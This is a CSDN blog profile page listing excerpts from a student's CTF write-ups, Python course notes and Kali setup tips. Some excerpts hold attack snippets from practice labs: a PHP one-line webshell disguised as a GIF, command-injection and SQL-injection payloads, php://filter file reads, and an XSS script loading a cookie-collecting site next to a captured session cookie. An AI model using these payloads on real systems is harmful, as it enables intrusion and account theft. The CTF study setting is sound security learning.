algae_你们这样一点都不可耐_CSDN博客-Web安全,Python,MISC领域博主

你们这样一点都不可耐

码龄2年

CTF小白，信安菜鸡

于 2019-10-09 加入CSDN

获得成就

获得458次点赞
内容获得140次评论
获得595次收藏

荣誉勋章

兴趣领域

#安全

#web安全#系统安全#安全架构

TA的专栏

Web安全
54篇
奇怪的知识增加了
14篇
学习方法
3篇
Linux
10篇
SQL
9篇
Windows
5篇
Python
24篇
CTF
13篇
攻防
1篇
实例
Crypto
1篇
C
1篇
MISC
17篇
网站
6篇
大数据
1篇
朝花夕拾
1篇
前端
3篇
取证
1篇
工具
1篇

【2020年第二届“网鼎杯”网络安全大赛青龙组】MISC 签到题

这个doker就超简单看图说话mua，中上是倒计时，如果时间到了，会over右上是hp，错太多，掉❤爱心，然后overbalsn 选右上p4，左上p***，左下带pig的单词，选右下大概酱紫截图有时间限制不方便首页，战队右上角，把token输入然后放大招，F12，在console 控制台！！！flag你有了...

发布博客于 1 年前

【壁纸】 Kali Linux 2020.1b 最新原版壁纸

从最新版系统中提取到的，请自行食用~

发布博客于 1 年前

2020 实用电脑小技巧

WIN快捷键F2 重命名Ctrl + z撤销 x剪切c复制 v粘贴 s win+ v >. 标表情符号忘了讲神奇的特效按键 Tab + Alt win软件火绒弹窗拦截bandzipFastStone Image Viewer 看图片Snipaste屏幕截图天若OCR开源识别Geek Uninstaller 卸载Everything 强大搜索找文件Rolan 便捷工具箱游览器 Firefox ChromeOneNote 最好用的笔记本洛雪音

发布博客于 4 月前

【Bugku】秋名山老司机详细题解 Writeup

import requestsimport reurl = 'http://123.206.87.240:8002/qiumingshan/'s = requests.Session()req = s.get(url)expression = re.search(r'(\d+[+\-*])+(\d+)', req.text).group()# expression = req.text[req.text.find('<div>')+5:req.text.find('=?')]re

发布博客于 5 月前

大一计算机应用基础进制转换

ASCII0 48A 65a 972B 8O 10D 16HBIN%o 八进制输出 OCT%d 十进制输出 DEC%#X 16进制大写输出 HEX （比如 i = 10，输出小写a，如果是X, 输出大写 X（%#x 16进制小写输出）@@@ 十进制0@@ 八进制0x@ 16进制除n(要转化的进制)倒取余数法2的4次方，就是4个二进制位，才能表示16进制（16种状态）1个分4个三个一分段1个分三个3 00115 01018.

发布博客于 5 月前

Hello！我的大学生活学习指南

勤学似春起之苗,不见其增,日有所长;辍学如磨刀之石,不见其损,日有所亏。一、实用电脑小技巧：二、想以赛促学，提升自己：辍学如磨刀之石,不见其损,日有所亏。)一、实用电脑小技巧：tampermonkey 游览器插件（免广告观看，豆瓣搜电影视频，电子书，etc）百度云资源搜索软件下载二、想以赛促学，提升自己：1.直接学python2.对网络攻防CTF、AWD感兴趣的：针对CTF，大家都是怎么训练的？bilibili搜索ctf得到的教程视频sql注入照下文的几个方向来自我提升CTF

发布博客于 5 月前

小黑客，2020还没有邀请码注册 hackthebox ？reCAPTCHA验证码加载不出来？

访问邀请码页面https://www.hackthebox.eu/invite F12控制台输入$.post('https://www.hackthebox.eu/api/invite/generate',function(data){console.log(data)})点开出现的数据提交 xxxxxx= 经过base64解码后的字符串开始注册The g-recaptcha-response field is required.使用了谷歌的reCAPTCHA验证码，在国内不能

发布博客于 6 月前

码云 gitee 下载压缩包未知文件格式解压错误？像极了 Github

未知文件格式xxx-master.zip）。上面是火狐、Chrome游览器的下载被迅雷接管下面换用其他游览器，比如qq游览器

发布博客于 6 月前

最新版 Kali 2020.3 高DPI 缩放，桌面文字太小怎么调？

HiDPI（每英寸高点）显示启动Kali Linux后，某些东西（Windows /按钮或文本/字体）可能看起来比预期的要小。这可能是因为HiDPI（又名High DPI）。这完全取决于所讨论的软件及其制造方式（例如GTK2，GTK3，Qt5等）。这可能是由于各种原因而发生的，例如图形卡驱动程序和/或监视器配置文件。如果事情看起来更大的比你会相信什么是“正常”，请参阅我们的固定DPI指南。本指南将介绍单屏设置。我们没有为了测试多个显示输出而编写指南的硬件。因此，我们正在寻求社区的帮助。如果您具有硬件和

发布博客于 6 月前

【BUUCTF】[GXYCTF2019] Ping Ping Ping 总结笔记 Writeup

【BUUCTF】[GXYCTF2019]Ping Ping Ping Writeup0x00 考点1、命令绕过空格方法有：2、内联执行0x01 解题1、简单变量替换，用a覆盖拼接flag2、变量ab互换传递，绕过字符串匹配，实现拼接3、内联执行4、被过滤的bash，用管道+sh替换0x00 考点1、命令绕过空格方法有：$IFS$1、${IFS}$1、 {IFS}、IFS2、内联执行内联，就是将反引号内命令的输出作为输入执行?ip=127.0.0.1;cat$IFS$9`ls`$IFS在Li

发布博客于 7 月前

【BUUCTF】[极客大挑战 2019] PHP 清晰易懂详细总结 Writeup

【BUUCTF】[极客大挑战 2019] PHP Writeup0x00 考点目录扫描源码泄露反序列化0x01 解题0x00 考点目录扫描源码泄露反序列化0x01 解题dirsearch-u 指定url-e 指定网站语言-w 可以加上自己的字典（加上路径）-r 递归跑（查到一个目录后，在目录后重复跑，很慢，不建议用）python3 dirsearch.py -u http://26e0c1d7-d98e-4a34-9ffe-901887297fb5.node3.buuoj.cn

发布博客于 8 月前

【BUUCTF】[极客大挑战 2019] Upload Writeup

【BUUCTF】[极客大挑战 2019] Upload Writeup0x00 考点文件上传绕过可解析的php后缀名：0x01 解题0x00 考点文件上传绕过带图片头的php一句话木马可解析的php后缀名：php3，php4，php5，pht，phtml,phps,pht，phtm0x01 解题要求必须上传图片带gif图片头的php一句话木马GIF89a? <script language="php">eval($_REQUEST[a])</script&g

发布博客于 8 月前

【BUUCTF】 [极客大挑战2019] BabySQL —— 清晰易懂总结好的 Writeup

【BUUCTF】 [极客大挑战2019] BabySQL Writeup0x00 考点sql 注入双写绕过0x01 解题爆库爆表爆列0x00 考点sql 注入双写绕过replace函数，找到union和select等替换为空双写绕过，单词中间拆开，分两半，里面藏一个完整的：union ununionionselectseselectlectfromfrfromomwherewhwhereere（过滤了or）informationinfoorrmation常见UR

发布博客于 8 月前

【BUUCTF】 [极客大挑战 2019] Http Writeup —— CTFer必须要会的几种请求头添加方式

【BUUCTF】 [极客大挑战 2019] Http Writeup0x00 考点请求头请求头添加的方式0x01 解题1、ModHeader2、Hackbar3、Burp Suite操作内容总结)0x00 考点请求头User-Agent：用什么游览器访问Referer ：当前页面是通过此来源页面里的链接进入的X-Forwarded-For：获取最初发起请求客户端的IP地址请求头添加的方式HackbarModHeaderBurp Suite游览器手动加cookie0x01

发布博客于 8 月前

新版抓包神器 Burp Suite 2020 找不到 spider模块？

0x00 官方说明在官网文档https://portswigger.net/support/burp-suite-tools点击Scanner 和Spider 出现的页面都是相同的https://portswigger.net/burp/documentation/desktop/scanningScanner 原先主要作用是扫描web漏洞0x01 简单看看0x03 Spider 使用教程比如我找网站的bak文件需要一段时间，把整个目录都爬下来，非常直观0x02 Scan

发布博客于 8 月前

dirmap + dirsearch 安装和使用教程

0x00 安装运行报错一个一个模块安装很麻烦，看看dirmap给的requirement.txtgeventrequestsprogressbar2lxml直接pip3 install -r requirement.txt愉快的开始0x01 使用

发布博客于 8 月前

【BUUCTF】[ACTF2020 新生赛] BackupFile Writeup

@TOC0x00 知识点0x01 解题

发布博客于 8 月前

【BUUCTF】[ACTF2020 新生赛]Exec Writeup

|cat /flag标记{f40182a0-6749-43f2-b223-9651bf2ef2d0}

发布博客于 8 月前

【BUUCTF】[极客大挑战 2019]Knife Writeup

flag{bbfff7f8-7c63-4dc2-bd28-64a75585d2cf}

发布博客于 8 月前

【BUUCTF】[ACTF2020 新生赛] IncludeWriteup

【BUUCTF】[ACTF2020 新生赛]Include0x00 知识点0x01 解题![在这里插入图片描述](https://img-blog.csdnimg.cn/20200822234622599.png#pic_center)0x00 知识点0x01 解题?file=php://filter/read=convert.base64-encode/resource=flag.phpPD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOw

发布博客于 8 月前

除了csdn网站打不开，一直刷新等待没反应，其他网站都能正常访问

DNS错误自动获取DNS服务器地址清除DNS缓存信息ipconfig /flushdns

发布博客于 8 月前

【BUUCTF】[极客大挑战 2019] Secret File Writeup

<html> <title>secret</title> <meta charset="UTF-8"><?php highlight_file(__FILE__); error_reporting(0); $file=$_GET['file']; if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stris...

发布博客于 8 月前

Kali Linux 安装靶场 docker 源又卡又慢

1cat /etc/docker/daemon.json2{ "registry-mirrors": [ "https://registry.docker-cn.com", "http://hub-mirror.c.163.com", "https://docker.mirrors.ustc.edu.cn" ]}

发布博客于 8 月前

Kali Linux 2020.3 最新版壁纸 —— 那些好看你又苦苦寻找的黑客壁纸

链接：https://pan.baidu.com/s/1sPQnupSTgYXFTXmAwmk6DQ提取码：smmf

发布博客于 8 月前

fatal: 无法访问 ‘https://github.com/c0ny1/vulstudy.git/‘：Could not resolve host: github.com

正克隆到 ‘vulstudy’… fatal: 无法访问‘https://github.com/c0ny1/vulstudy.git/’：Could not resolve host:github.com执行：git config --global --unset http.proxy或git config --global --unset https.proxy

发布博客于 8 月前

向虚拟机 Kali Linux 传文件的方法

一、VMware tools 最简单最方便直接拖拽，还可以直接复制粘贴文本二、设置权限，创建共享文件夹三、找到ip，用 Xftp 等传输工具连接

发布博客于 8 月前

【ti0sCTF】靶场平台新体验

Webti0s{6745d556-aab0-082d-7f52-6c40b749f148}Flag{W0_sH1_JI0_ed}发现？既然不能做，那就放几道题给大家看一下MiscCryptoJXUyNjY5JXUyNjZDJXUyNjZDJUI2JXUyMDE2JXUyMDE2JXUyNjY5JXUyNjZCJXUyNjZCJXUyNjZBJXUyMDE2JXUyMjJFJXUyMDE2JXUyNjZDJXUyMDE2JUE3JXUyNjZDJXUyNjY5JXU.

发布博客于 8 月前

Kali Linux 2020.02 最新版问题

之前手动安过一次，图省事，又安了Kali Linux 2020.2 VM版

发布博客于 8 月前

cmd + Cmder 命令行使用教程技巧（全攻略）

Windows cmd cmder 命令窗口使用小技巧爽到起飞！！！一、cmd1、注意与其他程序快捷键的区别２、常用命令二、cmder０、基础配置安装1、把 Cmder 文件位置加到系统环境变量2、添加 cmder 到右键菜单：一、cmd1、注意与其他程序快捷键的区别Ctrl + A 是全选整个页面右键属性打开快速编辑模式你就可以左键拖动，选中文字（相当于Ctrl+M 标记），在需要的地方右键（即Ctrl+V粘贴）命令行中撤销和剪切 Ctrl + Z/X 都无效２、常用命令输

发布博客于 8 月前

Python 入门基础必会必知

注释1单行注释# 这是一个注释2多行注释三单引号'''这是多行注释，用三个单引号这是多行注释，用三个单引号这是多行注释，用三个单引号'''3多行注释三双引号 """"""这是多行注释，用三个双引号这是多行注释，用三个双引号这是多行注释，用三个双引号"""...

发布博客于 8 月前

【CTF】SQL 注入总结

思路技巧常见URL编码#%23工具sqlmap绕过

发布博客于 8 月前

【封神台 - 掌控安全靶场】尤里的复仇 Ⅰ 小芳！一二三四五六七章

【封神台 - 掌控安全靶场】尤里的复仇小芳！第五章：进击！拿到Web最高权限！【配套课时：绕过防护上传木马实战演练】（等级：15）<script src = https：//xsspt.com/nxqPZY？1597410463> </ script>cookie : ASPSESSIONIDSQDARATQ=KJFAFKEDEAPPFBEDHJFCIGIC; flag=zkz{xsser-g00d},ADMINSESSIONIDCSTRCSDQ=LBMLMBCCNP

发布博客于 8 月前

木马

图片马cmd命令行copy 1.png/b + 2.php/a 3.png/b：二进制文件 /a:ASCII文件3.png生成文件名

发布博客于 8 月前

Hackbar 免费下载+使用指南

Ctrl+Enter 执行

发布博客于 8 月前

【BUUCTF】[极客大挑战 2019]LoveSQL 详细题解总结笔记 Writeup

【BUUCTF】[极客大挑战 2019]LoveSQL一.题目内容1.考点二. 解题过程1.万能密码2.爆字段3.一.题目内容1.考点二. 解题过程1.万能密码账号admin' or 1=1 #密码1admin47cb230740bc6725fd194aec8e479fc4Tips：输入框的#，直接使用hackbar地址栏，需将#进行URL编码，即替换为%232.爆字段check.php?username=admin ' order by 1 %23&passwo

发布博客于 8 月前

【CTF】Python 常见基础实例总结笔记

【CTF】Python 实例总结一. 进制转换1. ASCII码二. 字符操作1. 字符反转，倒序输出(1)字符串切片(2)reverse(3)reduce(4)递归函数(5) 栈(6)for循环三.1.2.3.4.5.四.1.2.3.4.5.五.1.2.3.4.5.一. 进制转换1. ASCII码Python 转换查看print(ord('a'))print(chr(97))#encoding=utf-8#py3+# 用户输入字符c = input("请输入一个字符: ")# 用

发布博客于 8 月前

【BUUCTF】 [RoarCTF 2019]Easy Calc 详细题解笔记 Writeup

【BUUCTF】 [RoarCTF 2019]Easy Calc一. playload1.scandir("/")函数读取目录，/ 被过滤所以换为chr(47)绕过(1).同1，但空格换为+(2).这里的chr(47)也可以换为hex2bin(dechex(47))(3).(4).(5).2.http走私绕过WAF4.5.二. 基础知识1.利用PHP的字符串解析特性Bypass2.[PHP chr() 函数：chr(ascii)](https://www.w3school.com.cn/php/func_s

发布博客于 8 月前

CSDN 博客基础创作模板

@TOC一.1.(1).(2).(3).(4).(5).2.3.4.5.二.1.2.3.4.5.三.1.2.3.4.5.四.1.2.3.4.5.五.1.2.3.4.5.

发布博客于 8 月前

新kali 配置安装 pip + python 库模块 docker-compose 靶场 —— 亲测可行!!!

查看版本确认python是否安装python -v安装PYTHON的PIP管理工具关键的一步apt-get install python-setuptools python-pip安装 xxx 模块pip install xxxpip install xxx.py

发布博客于 8 月前

如何用 Python C PHP 实现字符反转？字符串反序输出？

字符反转一. python1.字符串切片2.reverse3.reduce4.递归函数5. 栈6.for循环二.C语言1.2.给定一个字符串，然后将其翻转，逆序输出一. python1.字符串切片s = "123ABC"s = s[::-1]print(s)2.reverses="123ABC"print("".join(reversed(s)))s = "123ABC"l = list(s)l.reverse()print("".join(l))s = "123ABC"

发布博客于 8 月前

第四届“蓝帽杯”全国大学生网络安全技能大赛 Writeup

第四届“蓝帽杯”全国大学生网络安全技能大赛 WriteupMisc签到sudo熟悉的解密Web文件包含绕过easiestSQLiSoitgoesInclusionCryptozucMisc签到观色010editor查看，发现文件头是GIF89a，是gif文件Stegsolve 调色道，出现前半flagps打开，分离两个图层Stegsolve分析，得到后半flag，即可得到完整flagsudo喜欢玩数独吗，一起来玩吧。nc 47.93.204.245 120001-9数字玩99

发布博客于 8 月前

Burp Suite未连接：有潜在的安全问题 PortSwigger CA 造成

好久没用burpsuite，证书好像过期了？？未连接：有潜在的安全问题new.bugku.com 很像是一个安全（连接加密）的网站，但我们未能与它建立安全连接。这个问题是由 PortSwigger CA 所造成，它是您的计算机或您所在网络中的软件。您可以做什么？new.bugku.com 启用了被称为 HTTP 严格传输安全（HSTS）的安全策略，Firefox 只能与其建立安全连接。您无法为此网站添加例外，以访问此网站。如果您的防病毒软件包含扫描加密连接的功能（名称通常为“We

发布博客于 8 月前

[wargame.kr 韩国 CTF] Writeup

[wargame.kr 韩国 CTF]1.2.3.4.1.2.3.4.135point / bughelaI have accounts. but, it’s blocked.can you login bypass filtering? <?phpif (isset($_GET['view-source'])) { show_source(__FILE__); exit();}/*create table user( idx int auto_in

发布博客于 8 月前

CTF Crypto RSA算法入门总结（全）

一、初步认识https://www.bilibili.com/video/av73858330二、简单理解三、深入理解1.阮一峰——RSA算法原理（一）2.阮一峰——RSA算法原理（二）

发布博客于 8 月前

期盼

发布Blink于 5 月前

【i春秋 CTF大本营＞竞赛训练营＞ CTF训练】—— Writeup 题解（按答对人数排序）

待补充整理ing

发布博客于 8 月前

【CTF_论剑场 bugku新平台】CTF 题解

待择日补充更改ing

发布博客于 8 月前

CTF新手，请问从本地访问flag！

本地访问加header 127.0.0.1http://123.206.87.240:8002/localhost/burpsuite（强大，但麻烦，有点慢）抓包加上下面一句话X-Forwarded-For: 127.0.0.1（或者client-ip: 127.0.0.1，不同题不一样）ip（简单快捷）3. header(个性化定制头)4.hackbar(最快)http://123.206.31.85:1003/...

发布博客于 8 月前

【i春秋 CTF Crypto】2015广州强网杯致敬经典

题目内容： lrua{1uy3yj9l-yw9u-48j2-uuj8-36h03706y7u7}字母数字对照表：a b c d e f g h i j k l m n o p q r s t u v w x y z1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26给的“flag头..

发布博客于 8 月前

【2020年第二届“网鼎杯”网络安全大赛白虎组】 Crypto b64

张三看到了一个神秘的字符串，似乎是base64。该题可能有多解，请尝试多次提交，flag格式flag{UUID}密文:uLdAuO8duojAFLEKjIgdpfGeZoELjJp9kSieuIsAjJ/LpSXDuCGduouz泄露的密文:pTjMwJ9WiQHfvC+eFCFKTBpWQtmgjopgqtmPjfKfjSmdFLpeFf/Aj2ud3tN7u2+enC9+nLN8kgdWo29ZnCrOFCDdFCrOFoF=泄露的明文:ashlkj!@sj1223%^&*Sd456.

发布博客于 8 月前

CTF入门——啥也不会纯小白入门教程

bugku入门https://ctf.bugku.com/challenges攻防世界的新手练习区可以简单了解https://adworld.xctf.org.cn/task有各种比赛的“真题”，难度可以自行体验，有的需要一点基础https://buuoj.cn/challenges

发布博客于 8 月前

最常用高频汉字前4000

1的 2在 3了 4是 5为 6有 7和 8我 9一 10与 11请 12上 13中 14之 15等 16人 17到 18年 19个 20将 21对 22地 23您 24给 25这 26下 27网 28也 29来 30你 31就 32新 33吗 34该 35不 36多 37还 38要

发布博客于 9 月前

速成实用硬笔字——最常用高频汉字前400

1 的 2 不 3 一 4 我 5 是 6 人 7 有 8 了 9 大 10 国 11 来 12 生 13 在 14 子 15 们 16 中 17 上 18 他 19 时 20 小 21 地 22 出 23 以 24 学 25 可 26 自 27 这 28 会 29 成 30 家 31 到 32 为 33 天 34 心 35 年 36 然 37 要 38 得

发布博客于 9 月前

速成实用硬笔字——最常用高频汉字前100

1 的 2 一 3 国 4 在 5 人6 了 7 有 8 中 9 是 10 年11 和 12 大 13 业 14 不 15 为16 发 17 会 18 工 19 经 20 上21 地 22 市 23 要 24 个 25 产26 这 27 出 28 行 29 作 30 生31 家 32 以 33 成 34 到 35 日36 民 37 来 38 我

发布博客于 9 月前

WhynotTV 暑假无聊？这是一份上交学长的暑假指南请查收！（b站视频代码）

import tkinter.messageboxtkinter.messagebox.askokcancel(("vlog #1", "你好"))

发布博客于 9 月前

一个表情 .，教你把同一目录的多个文件夹的子文件，一次性全部提取出来

> 遇到问题：找了很多电子书看，每个以书名命名的文件夹有的有好几本，有的有一本，点开找太麻烦，想全部移到同一目录下，一个一个手动操作太麻烦，于是采用了以下的方法## 1. 在搜索框输入``*.*``![在这里插入图片描述](https://img-blog.csdnimg.cn/2020071716122411.png)会出现该目录的所有文件和文件夹![在这里插入图片描述](https://img-blog.csdnimg.cn/20200717161844139.png?x-oss-p

发布博客于 9 月前

【MOOC昊天】Python网络爬虫与信息提取课件+代码（全）

@TOC【第O周】网络爬虫之前奏【第一周】网络爬虫之规则单元1：Requests库入门import requestsr = requests.get("http://www.baidu.com")print( r.status_code, #请求状态码，200访问成功， type(r), r.headers, sep='
')200<class ‘requests.models.Response’>{‘Cache-Con

发布博客于 9 月前

【MOOC嵩天Python语言程序设计】第9周 Python计算生态概览

【MOOC嵩天Python语言程序设计】第9周 Python计算生态概览9.1 从数据处理到人工智能9.2 实例15：霍兰德人格分析雷达图9.3 从Web解析到网络空间9.4 从人机交互到艺术设计9.5 实例16：玫瑰花绘制9.99.1 从数据处理到人工智能from PyPDF2 import PdfFileReader,PdfFileMergermerger = PdfFileMerger()input1 = open("document1.pdf","rb")input2 = open

发布博客于 9 月前

【MOOC嵩天Python语言程序设计】第8周程序设计方法学

第8周程序设计方法学8.1 实例13：体育竞技分析8.2 Python程序设计思维求1-100的计数和8.3 Python第三方库安装8.4 模块7：os库的使用8.5 实例14：第三方库自动安装脚本8.1 实例13：体育竞技分析# MatchAnalysis.pyfrom random import randomdef printIntro(): print("这个程序模拟两个选手A和B的某种竞技比赛") print("程序运行需要A和B的能力值（以0到1之间的小数表示）")d

发布博客于 9 月前

【MOOC嵩天Python语言程序设计】第七周文件和数据格式化 7.1~7.6

第七周文件和数据格式化 7.1~7.6-7.1文件的使用文本的全文操作遍历全文本一遍历全文本二文件的逐行操作逐行遍历文件一逐行遍历文件二数据文件的写入-7.2实例11：自动轨迹绘制-7.3一维数据的格式化和处理-7.4二维数据的格式化和处理-7.5模块6：wordcloud库的使用-7.6实例12：政府工作报告词云-7.1文件的使用tf = open("f.txt", "rt")print(tf.readline())tf.close()print(tf.readline())Un

发布博客于 9 月前

【MOOC嵩天Python语言程序设计】第六周组合数据类型 6.1~6.6

6.16.1 集合类型及操作6.1 集合类型及操作>>> A = {"python", 123, ("python",123)}>>> A{'python', 123, ('python', 123)}>>> B = set("pypy123")>>> B{'3', '1', 'p', 'y', '2'}>>> C = {"python",123,123,"python"}>>> C

发布博客于 9 月前

【MOOC嵩天Python语言程序设计】5.3 代码复用与函数递归

一、阶乘def fact(n): if n == 0: return 1 else: return n*fact(n-1)交互模式下调用 fact(5)输出结果 120或者直接在前面的代码块末尾加一行print(fact(5))二、字符串反转1、def rvs(s): if s == "": return s else: return rvs(s[1:])+s[0]print(rv

发布博客于 10 月前

【MOOC嵩天Python语言程序设计】5.5 实例8：科赫雪花小包裹

# KochDrawV1.pyimport turtledef koch(size, n): if n == 0: turtle.fd(size) else: for angle in [0, 60, -120, 60]: turtle.left(angle) koch(size / 3, n - 1)def main(): turtle.setup(800, 400) turtle

发布博客于 10 月前

【MOOC嵩天Python语言程序设计】5.2 实例7：七段数码管绘制

# SevenDigitsDrawV1.pyimport turtledef drawLine(draw): # 绘制单段数码管 turtle.pendown() if draw else turtle.penup() turtle.fd(40) turtle.right(90)def drawDigit(digit): # 根据数字绘制七段数码管 drawLine(True) if digit in [2, 3, 4, 5, 6, 8, 9] else drawL

发布博客于 10 月前

【MOOC嵩天Python语言程序设计】4.5 实例6：圆周率的计算

一、公式法：pi = 0N = 100for k in range(N): pi += 1/pow(16,k)*(\ 4/(8*k+1) - 2/(8*k+4) -\ 1/(8*k+5) - 1/(8*k+6))print("圆周率是：{}".format(pi))pi = 0N = 100for k in range(N): pi += 1/pow(16,k)*(4/(8*k+1) - 2/(8*k+4) - 1/(8*k+5) - 1/(

发布博客于 10 月前

【MOOC嵩天Python语言程序设计】4.4模块3：random库的使用

>>> import random>>> random.seed(10)>>> random.random()0.5714025946899135>>> random.random()0.4288890546751146>>> random.random()0.5780913011344704>>> random.randint(10,100)36>>> ra

发布博客于 10 月前

【MOOC嵩天Python语言程序设计】4.3 程序的循环结构

for c in "Python123": print(c, end=",")P,y,t,h,o,n,1,2,3,a = 3while a > 0: a -= 1 print(a)210a = 3while a > 0: a += 1 print(a)456789Ctrl + F2 / Ctrl + C for c in "Python": if c == "t": contin

发布博客于 10 月前

【MOOC嵩天Python语言程序设计】4.2 实例5：身体质量指数BMI

height, weight = eval(input("请输入身高（米）和体重（公斤）[逗号隔开]："))bmi = weight / pow(height, 2)print("BMI数值为：{:.2f}".format(bmi))who = ""if bmi < 18.5: who = "偏瘦"elif 18.5 <= bmi < 25: who = "正常"elif 25 <= bmi < 30: who = "偏胖"else:

发布博客于 10 月前

【MOOC嵩天Python语言程序设计】4.1程序的分支结构

guess = eval(input("请输入："))print("猜{}了".format("对" if guess==99 else "错"))请输入：99猜对了guess = eval(input("请输入："))if guess > 99 or guess < 99: print("no")else: print("yes")请输入：99yesscore = eval(input())if score >= 60: gra

发布博客于 10 月前

【MOOC嵩天Python语言程序设计】3.4模块2：time库的使用

>>> import time>>> time.time()1593151474.0312757>>> time.ctime()'Fri Jun 26 14:04:45 2020'>>> time.gmtime()time.struct_time(tm_year=2020, tm_mon=6, tm_mday=26, tm_hour=6, tm_min=5, tm_sec=1, tm_wday=4, tm_yday=178,

发布博客于 10 月前

【MOOC嵩天Python语言程序设计】3.3字符串类型及操作

#WeekNamePrintV1.pyweekStr = "星期一星期二星期三星期四星期五星期六星期日"weekId = eval(input("请输入星期数字（1-7）："))pos = (weekId-1)*3print(weekStr[pos:pos+3])#WeekNamePrintV2.pyweekStr = "一二三四五六日"weekId = eval(input("请输入星期数字（1-7）："))print("星期" + weekStr[weekId-1])for i

发布博客于 10 月前

【MOOC嵩天Python语言程序设计】3.2实例3：天天向上的力量

>>> 1.001**3651.4402513134295205>>> 0.999**3650.6940698870404745>>> >>> 1.01**36537.78343433288728>>> 0.99**3650.025517964452291125>>> pow(1.01,365)37.78343433288728>>> pow(1.02,

发布博客于 10 月前

大数据小笔记

192.168.254.146 master192.168.254.144 slave1192.168.15.124 slave2vi /etc/hostshostnamectl set-hostnamevi /etc/sysconfig/networkNETWORKING=yesHOSTNAME=mastervi /etc/hosts192.168.254.147 master master.root192.168.254.148 slave1 slave1.root192.168.

发布博客于 10 月前

【MOOC嵩天Python语言程序设计】第2周 Python基本图形绘制

import turtleturtle.setup(650,350,200,200)turtle.penup()turtle.fd(-250)turtle.pendown()turtle.pensize(25)turtle.pencolor("purple")turtle.seth(-40)for i in range(4): turtle.circle(40,80) turtle.circle(-40, 80)turtle.circle(40, 80/2)turtle.

发布博客于 10 月前

【MOOC嵩天Python语言程序设计】1.3 实例1：温度转换

TempStr = input("请输入带有符号的温度值：")if TempStr[-1] in ['f','f']: C = (eval(TempStr[0:-1]) - 32)/1.8 print("转换后的温度是{:.2f}C".format(C))elif TempStr[-1] in ['C', 'c']: F= 1.8*eval(TempStr[0:-1]) +32 print("转换后的温度是{:.2f}F".format(F))else: pr.

发布博客于 10 月前

【MOOC嵩天Python语言程序设计】1.2 Python开发环境配置实例

实例1：圆面积的计算r = 25area = 3.1415 * r * rprint(area)print("{:.2f}".format(area))1963.43750000000021963.44实例2：同切圆绘制import turtleturtle. pensize(2)turtle. circle(10)turtle. circle(40)turtle. circle(80)turtle. circle(160)实例3：五角星绘制from turtle im

发布博客于 10 月前

【BUUCTF】[极客大挑战 2019]Havefun 1

node3.buuoj.cn/?cat=dog

发布博客于 10 月前

【BUUCTF】[极客大挑战 2019]EasySQL

flag{6b3f3969-e5bf-44a2-8eb6-f82383406247}

发布博客于 10 月前

可耐的友链

bling bling！下面都是可爱的小伙伴！m0c1nu7

发布博客于 10 月前

你为什么要写博客？—— 优秀博主必读

我是偶然在逛博客的时候看到别人深受这篇文章的启发，有幸看到这篇文章，以及这篇文章的作者其他我未曾“窥探”到的思想（工作招聘，什么是熟练精通，玩魔方，父母与孩子and etc.），在此和各位分享一下。支持!坚持！激励！超级厉害的作者还写了这本书，感兴趣的也可以观摩一下！！刘未鹏：南京大学计算机系硕士毕业，现就职于微软亚洲研究院创新工程中心，爱好：计算机科学，人工智能，认知科学。刘未鹏博客名 Mind Hacks 的含义有4： Mind Hacks 是一本书；Mind Hacks 是一系列思维工.

发布博客于 1 年前

安装 material 主题的酷炫hexo博客 —— hexo s 后报错

https://github.com/bolnh/hexo-theme-material的确超级帅，可能是最酷的主题了！！！但是，你直接安装最新版1.5.6hexo s后肯定报错（我暂时也没搞明白怎改对…）我的报错比较特别，网上搜不到相关的问题…心情极度失落复制并重命名了配置文件，试过下载source code压缩包，npm安装，cnpm安装，照issue某个方法修改一点配置文件，但就是会出现下面的报错ERROR Plugin load failed: hexo-materialErr

发布博客于 1 年前

【Github Hexo 博客美化】快把你的老婆拿出来！

一、展示这个用的人挺多的，点一下…居然还有？？？Wu~ 我比较喜欢这最后一对（好想两个都用！！！）更多人物参考项目地址具体安装模特live2d-widget-model-chitoselive2d-widget-model-epsilon2_1live2d-widget-model-gflive2d-widget-model-haru/01 (use npm install --save live2d-widget-model-haru)live2d-widget-model

发布博客于 1 年前

Github 简单、快速搭建hexo博客 + 各博客平台比较

创建你github创建的用户名替换图中的username不这样做的问题是，你等下要访问博客地址就是你的github账户名.github.你设置的名字.github.io 类似这样的多层嵌套，很不舒服Create repository弹出的页面点击Settings进入设置，往下滑呀滑！蓝色的链接的即为你新创建的Blog，点开试试看没有皮肤就没有灵魂！同样在Setting页面，往下滑提交改变的效果图创建成功！配置点击下载 Nord.js

发布博客于 1 年前

2020最新：Github下载资源慢？失败？下载速度降到0? 无法下载 release？

网上大部分方案不是已经失效了就是不好用太麻烦修改hosts文件码云clone云云点开即达我珍藏的网址下载速度超快可下release无广告在此也非常非常非常感谢这位作者所做出的伟大贡献！！！...

发布博客于 1 年前

【2020年第二届“网鼎杯”网络安全大赛青龙组】MISC 虚幻2 视频题解

18年虚幻被打的很惨，2年后虚幻卷土重来。附件下载提取码：(b5kt) 备用下载汉信码 2. 图片要转转 3. 暴力修补就这么大打开ps，通道，分成三个图，然后我的想象力发挥不出来…附上汉信码相关链接：http://www.efittech.com/hxdec.htmlhttp://www.efittech.com/hanxin/cp_hanxin_test.aspx待续…...

发布博客于 1 年前

【2020年第二届“网鼎杯”网络安全大赛青龙组】Crypto you raise me up / SageMath 一波骚操作

#!/usr/bin/env python# -*- coding: utf-8 -*-from Crypto.Util.number import *import randomn = 2 ** 512m = random.randint(2, n-1) | 1c = pow(m, bytes_to_long(flag), n)print 'm = ' + str(m)print 'c = ' + str(c)# m = 39119070912452742895948966256527

发布博客于 1 年前

【2020年第二届“网鼎杯”网络安全大赛青龙组】Web AreUSerialz

find the flag<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; .

发布博客于 1 年前

【2020年第二届“网鼎杯”网络安全大赛青龙组】Crypto boom —— “奇淫技巧” （全）

回车我自己拿草稿纸手解。。。结果有人直接软件在线求解

发布博客于 1 年前

我一点也不一点没有根本不毫不兴奋激动慌张

发布Blink于 1 年前

【BUUCTF】MISC zip

import zipfileimport stringimport binascii def CrackCrc(crc): for i in dic: for j in dic: for p in dic: for q in dic: s = i + j + p + q if crc == (binascii.crc32(s.encode()

发布博客于 1 年前

【BUUCTF】MISC [安洵杯 2019]Attack + mimikatz 获取 Administrator の Password

